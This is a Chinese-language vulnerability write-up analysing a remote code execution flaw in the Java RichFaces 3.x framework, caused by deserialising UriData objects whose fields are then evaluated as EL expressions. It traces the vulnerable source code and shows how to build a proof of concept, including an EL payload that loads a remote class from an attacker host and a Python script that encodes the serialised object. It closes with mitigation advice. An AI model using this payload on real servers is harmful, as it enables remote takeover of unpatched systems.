介绍

根据Red Hat官方给出的公告信息,Java RichFaces框架中包含一个RCE漏洞,恶意攻击者构造包含org.ajax4jsf.resource.UserResource$UriData序列化对象的特定UserResource请求,RichFaces会先反序列化该UriData对象,然后使用EL表达式解析并获取resource的modified、expires等值导致了任意EL表达式执行,通过构造特殊的EL表达式可实现远程任意代码执行。

  • 关于RichFaces

JavaServer Faces(JSF)是一个用于为Web应用程序构建用户界面的框架。 虽然只有两个主要的JSF实现(Apache MyFaces和Oracle Mojarra),但有几个组件库,它们提供了额外的UI组件和功能。 RichFaces是这些组件库中最受欢迎的库之一,因为它是JBoss出品且也是JBoss EAP等产品的一部分。 RichFaces已经于2016年停止开发,最新的版本分支为3.3.4、4.5.17

  • 受影响Richfaces版本:

    • JBoss Richfaces 3.1.x - 3.3.4
  • 受影响产品

    • Enterprise Application Platform 5.2
    • Red Hat JBoss BRMS 5.3.1
    • Red Hat JBoss SOA Platform 5.3.1
    • Red Hat Developer Studio 12.9

漏洞分析

RichFaces的Resource相关请求均由InternetResourceService的serviceResource来处理,根据请求中的数据动态生成图像、视频、声音等资源,在RichFaces 3.x中,资源数据请求被放在/DATA/或者/DATB/的请求路径下,其中/DATB/后面跟的是字节数组,/DATA/后面跟的是序列化后的对象,在serviceResource中调用的getResourceDataForKey函数可以看到:

public Object getResourceDataForKey(String key) {
		Object data = null;
		String dataString = null;
    //private static final Pattern DATA_SEPARATOR_PATTERN = Pattern.compile("/DAT(A|B)/");
		Matcher matcher = DATA_SEPARATOR_PATTERN.matcher(key);
		if (matcher.find()) {
			....
			try {
				dataArray = dataString.getBytes("ISO-8859-1");
				objectArray = decrypt(dataArray);
			} catch (UnsupportedEncodingException e1) {
				// default encoding always presented.
			}
			if ("B".equals(matcher.group(1))) {
				data = objectArray;
			} else {
				try {
					ObjectInputStream in = new LookAheadObjectInputStream(new ByteArrayInputStream(objectArray));
					data = in.readObject();
				  .....
          .....

		return data;
	}

其中在函数LookAheadObjectInputStream中进行了反序列化操作,Richfaces重写了ObjectInputStream类的resolveClass方法来实现反序列化类白名单限制,在framework/impl/src/main/java/org/ajax4jsf/resource/LookAheadObjectInputStream.java中可以看到:

/**
* Only deserialize primitive or whitelisted classes
*/
 @Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        Class<?> primitiveType = PRIMITIVE_TYPES.get(desc.getName());
    if (primitiveType != null) {
        return primitiveType;
    }
    if (!isClassValid(desc.getName())) {
        throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
    }
    return super.resolveClass(desc);
}
boolean isClassValid(String requestedClassName) {
        if (whitelistClassNameCache.containsKey(requestedClassName)) {
            return true;
        }
        try {
            Class<?> requestedClass = Class.forName(requestedClassName);
            for (Class baseClass : whitelistBaseClasses ) {
                if (baseClass.isAssignableFrom(requestedClass)) {
                    whitelistClassNameCache.put(requestedClassName, Boolean.TRUE);
                    return true;
                }
            }
        } catch (ClassNotFoundException e) {
            return false;
        }
        return false;
    }

在isClassValid函数中调用了class.isAssignableFrom校验反序列化的类,就是说只要是对象的子类或者接口与白名单相同也是允许反序列化的。其中3.x版本中白名单包含了bool、int等java常用基本类型,同时还有:

org.ajax4jsf.resource.InternetResource,
org.ajax4jsf.resource.SerializableResource,
javax.el.Expression,
javax.faces.el.MethodBinding,
javax.faces.component.StateHolderSaver,
java.awt.Color

在4.x版本中又陆续增加了一些白名单类:History for serialization.properties - richfaces 对请求中的资源数据反序列化后,接着send给InternetResourceBase的sendHeaders函数处理:

public void sendHeaders(ResourceContext context) {
        boolean cached = context.isCacheEnabled() && isCacheable(context);
        if (log.isDebugEnabled()) {
            log.debug(Messages.getMessage(Messages.SET_RESPONSE_HEADERS_INFO,
                    getKey()));
        }
        // context.setHeader("Content-Type",getContentType());
        context.setContentType(getContentType(context));
        Date lastModified = getLastModified(context);
        if (lastModified != null) {
            context.setDateHeader("Last-Modified", lastModified.getTime());
        }
        int contentLength = getContentLength(context);
        if (cached) {
            if (contentLength > 0) {
                context.setContentLength(contentLength);
            }
            long expired = getExpired(context);
            if (expired < 0) {
                expired = DEFAULT_EXPIRE;
            }
            context.setDateHeader("Expires", System.currentTimeMillis() + expired);
            context.setHeader("Cache-control", "max-age=" + (expired / 1000L));
        } else {
            if (contentLength > 0) {
                context.setContentLength(contentLength);
                // } else {
                // context.setHeader("Transfer-Encoding", "chunked");
            }
            context.setHeader("Cache-control", "max-age=0, no-store, no-cache");
            context.setHeader("Pragma", "no-cache");
            context.setIntHeader("Expires", 0);
        }
    }

这里调用getLastModified及getExpired方法获取了Modified、expired等一些header,因为这里请求类型是UserResource,所以继续看UserResource类的getLastModified函数代码:

public Date getLastModified(ResourceContext resourceContext) {
		UriData data = (UriData) restoreData(resourceContext);
		FacesContext facesContext = FacesContext.getCurrentInstance();
		if (null != data && null != facesContext ) {
			// Send headers
			ELContext elContext = facesContext.getELContext();
			if(data.modified != null){
			ValueExpression binding = (ValueExpression) UIComponentBase.restoreAttachedState(facesContext,data.modified);
			Date modified = (Date) binding.getValue(elContext);
			if (null != modified) {
				return modified;
			}
		}
		}
		return super.getLastModified(resourceContext);
	}

其中UriData的定义如下,这里UriData实现了SerializableResource接口,所以等于UriData也是在反序列化类白名单里的:

public static class UriData implements SerializableResource {

		private static final long serialVersionUID = 1258987L;
		
		private Object value;
		
		private Object createContent;
		
		private Object expires;
		
		private Object modified;
	}

这里将对象转换为UriData类型并将data.modified作为el表达式传入ValueExpression.getValue从而造成任意EL表达式执行漏洞。

以RichFaces官方的richfaces-demo (3.3.3 Final)进行调试,下载war包并启动tomcat,在Ajax Output->Media Outpput菜单可触发UserResource请求,随便使用数字替换请求中的资源数据请求:

http://127.0.0.1:8080/richfaces-3.3.3.Final/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/s/-1487394660/DATA/123.jsf

response: 4de874f4.png 查看ResourceBuilderImpl.decrypt函数可知richfaces对资源数据先进行了base64解码,然后使用DEFLATE解压缩

protected byte[] decrypt(byte[] src) {
		try {
      //decode 方法调用:URL64Codec.decodeBase64,并且替换了+等几个特殊字符
			byte[] zipsrc = codec.decode(src);
			Inflater decompressor = new Inflater();
			byte[] uncompressed = new byte[zipsrc.length * 5];
			decompressor.setInput(zipsrc);
			int totalOut = decompressor.inflate(uncompressed);
			byte[] out = new byte[totalOut];
			System.arraycopy(uncompressed, 0, out, 0, totalOut);
			decompressor.end();
			return out;
		} catch (Exception e) {
			throw new FacesException("Error decode resource data", e);
		}
	}

所以利用该漏洞需要先构造包含EL表达式的UriData序列化对象,然后再将数据DEFLATE压缩,最后再进行base64编码。

POC构造

POC构造可参考tint0的文章When EL Injection meets Java Deserialization给出的利用方式进行构造,构造特殊的UriData对象,因为首先处理的是modified值,所以这里将modified的值设置为 javax.faces.component.StateHolderSaver对象,而该对象的savedState字段为ValueExpressionImpl对象,ValueExpressionImpl 对象的 expr 字段为注入的el表达式,形如:

Ljava.lang.Object[UriData]
 [0] = (value) null
 [1] = (createContent) null
 [2] = (expires) null
 [3] = (modified) javax.faces.component.StateHolderSaver
   savedState = (org.apache.el.ValueExpressionImpl)
     expr = (java.lang.String) "${a="".getClass().forName("javax.management.loading.MLet").newInstance();a.addURL("http://192.168.1.5:8314/exploit");a.loadClass("exploit",null)}"
     node = (Node) null
     FunctionMapper = (FunctionMapper) null
     VariableMapper = (VariableMapper) null
     expectedType = (expectedType) null

这里StateHolderSaver构造函数第一个参数为FacesContext是抽象类,无法实例化,所以无法通过反射调用构造函数创建javax.faces.component.StateHolderSaver对象,这里可以使用Objenesis不使用构造函数创建对象:

Class cls = Class.forName("javax.faces.component.StateHolderSaver");
Objenesis objenesis = new ObjenesisStd(true);
Object myObj = objenesis.newInstance(cls);

创建好序列化对象后使用下面脚本进行编码

import base64
import zlib
import binascii 

def main():
	filename='payload'
	f = open(filename, "rb")
	class_data=f.read()
	hexstr = binascii.b2a_hex(class_data)
    data=zlib.compress(class_data)
    data=base64.b64encode(data).replace("+","-").replace("/","!").replace("=","_")
	print "compress:" +data
if __name__ == '__main__':
    main()

将compress好的数据附在UserResource请求的/DATA/后面重放请求即可触发漏洞。

总结

这个漏洞算是java反序列化与EL表达式注入合体的一个比较有意思漏洞,漏洞原理及利用思路和CVE-2015-0279也基本相似。RichFaces已经停止开发,官方对受影响的产品出了补丁,给出的修复建议是 在RichFaces中禁用EL表达式或者在反序列化白名单中限制一些类反序列化,但显然这个漏洞反序列化类也是不好限制的,如果将SerializableResource从白名单中去除可能会影响系统其它地方反序列化的正常运行。要从代码层面修复漏洞只能自己编写修复个人感觉比较快速的止血方法是对资源数据加解密的方法decrypt进行修改,当然也可以对URL中包含ajax4jsf.resource.UserResource的请求进行拦截已防止漏洞攻击。

参考